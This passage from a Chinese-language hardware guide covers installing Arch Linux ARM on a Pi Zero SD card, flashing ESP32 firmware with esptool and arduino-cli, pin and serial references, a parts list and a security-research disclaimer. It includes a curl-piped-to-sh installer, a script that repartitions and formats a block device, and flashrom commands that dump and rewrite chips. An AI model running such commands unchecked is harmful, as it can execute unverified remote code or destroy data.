 
ARCHIVE_URL="http://os.archlinuxarm.org/os/ArchLinuxARM-rpi-aarch64-latest.tar.gz"
WORKDIR="/tmp/pi_arch_install"
 
echo "[1/6] Downloading Arch Linux ARM..."
mkdir -p "$WORKDIR"
wget -c "$ARCHIVE_URL" -O "$WORKDIR/arch.tar.gz"
 
echo "[2/6] Partitioning $DEVICE..."
parted -s "$DEVICE" mklabel msdos
parted -s "$DEVICE" mkpart primary fat32 1MiB 201MiB
parted -s "$DEVICE" mkpart primary ext4 201MiB 100%
mkfs.vfat "${DEVICE}p1"
mkfs.ext4 -F "${DEVICE}p2"
 
echo "[3/6] Mounting..."
mount "${DEVICE}p2" /mnt
mkdir -p /mnt/boot
mount "${DEVICE}p1" /mnt/boot
 
echo "[4/6] Extracting..."
bsdtar -xpf "$WORKDIR/arch.tar.gz" -C /mnt
 
echo "[5/6] Writing boot config..."
echo 'enable_uart=1' >> /mnt/boot/config.txt
echo 'dtoverlay=miniuart-bt' >> /mnt/boot/config.txt
touch /mnt/boot/ssh
 
echo "[6/6] Syncing..."
sync
umount /mnt/boot /mnt
 
echo "Done! Insert SD card into Pi Zero and power on."

8.2 实战14:给ESP32刷MicroPython/CircuitPython/Arduino

安装 esptool.py

# 方法1:pacman
sudo pacman -S esptool
 
# 方法2:pip
pip install esptool --break-system-packages
 
# 验证
esptool.py version

给ESP32刷固件

# ============================================================
# 一、刷 MicroPython
# ============================================================
# 1. 下载固件
wget https://micropython.org/resources/firmware/ESP32_GENERIC-20240105-v1.22.0.bin
 
# 2. 擦除Flash
esptool.py --chip esp32 --port /dev/ttyUSB0 erase_flash
 
# 3. 烧录
esptool.py --chip esp32 --port /dev/ttyUSB0 \
  --baud 460800 write_flash -z 0x1000 ESP32_GENERIC-20240105-v1.22.0.bin
 
# 4. 验证
screen /dev/ttyUSB0 115200
# 看到 >>> 提示符,按 Enter → 出现 REPL
 
# ============================================================
# 二、刷 CircuitPython (ESP32-S3)
# ============================================================
# ESP32-S3 支持USB盘符模式
wget https://downloads.circuitpython.org/bin/espressif_saola_1_wroom/en_US/adafruit-circuitpython-espressif_saola_1_wroom-en_US-latest.bin
 
esptool.py --chip esp32s3 --port /dev/ttyUSB0 erase_flash
esptool.py --chip esp32s3 --port /dev/ttyUSB0 \
  write_flash -z 0x0 adafruit-circuitpython-espressif_saola_1_wroom-en_US-latest.bin
 
# ============================================================
# 三、用 Arduino IDE 刷 ESP32
# ============================================================
# 1. Arduino IDE → 文件 → 首选项 → 附加开发板管理器网址
#    填入: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
# 2. 工具 → 开发板 → 开发板管理器 → 搜索 esp32 → 安装
# 3. 工具 → 开发板 → ESP32 Dev Module
# 4. 选择端口 → /dev/ttyUSB0
# 5. 打开代码 → 点击上传按钮
 
# ============================================================
# 四、用命令行 arduino-cli 编译上传
# ============================================================
# 安装 arduino-cli
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | BINDIR=~/.local/bin sh
 
# 配置
arduino-cli config init
arduino-cli core update-index
arduino-cli core install esp32:esp32
 
# 编译
arduino-cli compile --fqbn esp32:esp32:esp32 my_sketch/
 
# 上传
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 my_sketch/
 
# 监控串口
arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200

ESP32 Boot 模式切换

进入烧录模式(Download Mode):
  ESP32:
    按住 BOOT (GPIO0) → 按一下 EN (复位) → 松开 EN → 松开 BOOT
    (部分开发板自动进烧录模式,不需要手动按)

  ESP32-S3:
    按住 BOOT (GPIO0) → 按一下 RST → 松开 RST → 松开 BOOT

进入正常运行模式:
  按一下 EN/RST 重启即可

附录:快速参考卡片

常用烧录命令

# ESP32
esptool.py --chip esp32 --port /dev/ttyUSB0 erase_flash
esptool.py --chip esp32 --port /dev/ttyUSB0 write_flash -z 0x1000 firmware.bin
 
# ESP32-S3
esptool.py --chip esp32s3 --port /dev/ttyUSB0 erase_flash
esptool.py --chip esp32s3 --port /dev/ttyUSB0 write_flash -z 0x0 firmware.bin
 
# ESP8266
esptool.py --chip esp8266 --port /dev/ttyUSB0 erase_flash
esptool.py --chip esp8266 --port /dev/ttyUSB0 write_flash 0x0 firmware.bin
 
# Raspberry Pi Pico (CircuitPython)
# 拖 UF2 到 RPI-RP2 磁盘
 
# CH341A SPI Flash
flashrom -p ch341a_spi -r dump.bin
flashrom -p ch341a_spi -w new_firmware.bin

常用引脚速查

SPI 通用引脚:
  SCK  = D13 (Arduino) / GPIO18 (ESP32 VSPI) / GPIO14 (ESP32 HSPI)
  MOSI = D11 (Arduino) / GPIO23 (ESP32 VSPI) / GPIO13 (ESP32 HSPI)
  MISO = D12 (Arduino) / GPIO19 (ESP32 VSPI) / GPIO12 (ESP32 HSPI)
  SS   = D10 (Arduino) / GPIO5  (ESP32 VSPI) / GPIO15 (ESP32 HSPI)

I2C 通用引脚:
  SDA = A4 (Arduino) / GPIO21 (ESP32)
  SCL = A5 (Arduino) / GPIO22 (ESP32)

UART 通用引脚:
  TX = D1 (Arduino) / GPIO1 (ESP32)
  RX = D0 (Arduino) / GPIO3 (ESP32)

常用串口命令

screen /dev/ttyUSB0 115200      # 连接串口
screen -r                        # 重新连接
Ctrl+A K Y                   # 退出screen
minicom -D /dev/ttyUSB0 -b 115200 # 用minicom
picocom -b 115200 /dev/ttyUSB0    # 用picocom
stty -F /dev/ttyUSB0 115200 raw   # 设置串口参数

元器件购买渠道

淘宝/闲鱼(最便宜、量最大的电子元件渠道):
- 搜 "ESP32-S3 开发板" → 30元
- 搜 "CC1101 433MHz" → 8元
- 搜 "CH340G USB转TTL" → 3元
- 搜 "CH341A 编程器" → 12元
- 搜 "SSD1306 OLED" → 9元
- 搜 "18650 锂电池" → 15元
- 搜 "TP4056 充电模块" → 3元
- 搜 "MT3608 升压模块" → 2元
- 搜 "SOP8 测试夹" → 8元
- 搜 "Saleae 逻辑分析仪" → 18元
- 搜 "VS1838B 红外接收" → 1.5元

立创商城 (LCSC.com)(更好的品质和可追溯性):
- 适合买电容电阻等基础元件
- 批量买便宜,1个也发货

嘉立创/捷配:
- PCB打样(5元包邮5片)
- 3D打印(0.3元/克)

免责声明:本文档仅供安全研究和授权测试使用。在未获得明确书面授权的情况下对他人设备进行攻击、嗅探或入侵是违法行为。使用者须自行承担所有法律责任。作者不对任何滥用行为负责。

最后的建议:每焊好一个模块,立刻测试。不要等全焊完再上电——出了问题你都不知道是哪个模块导致的。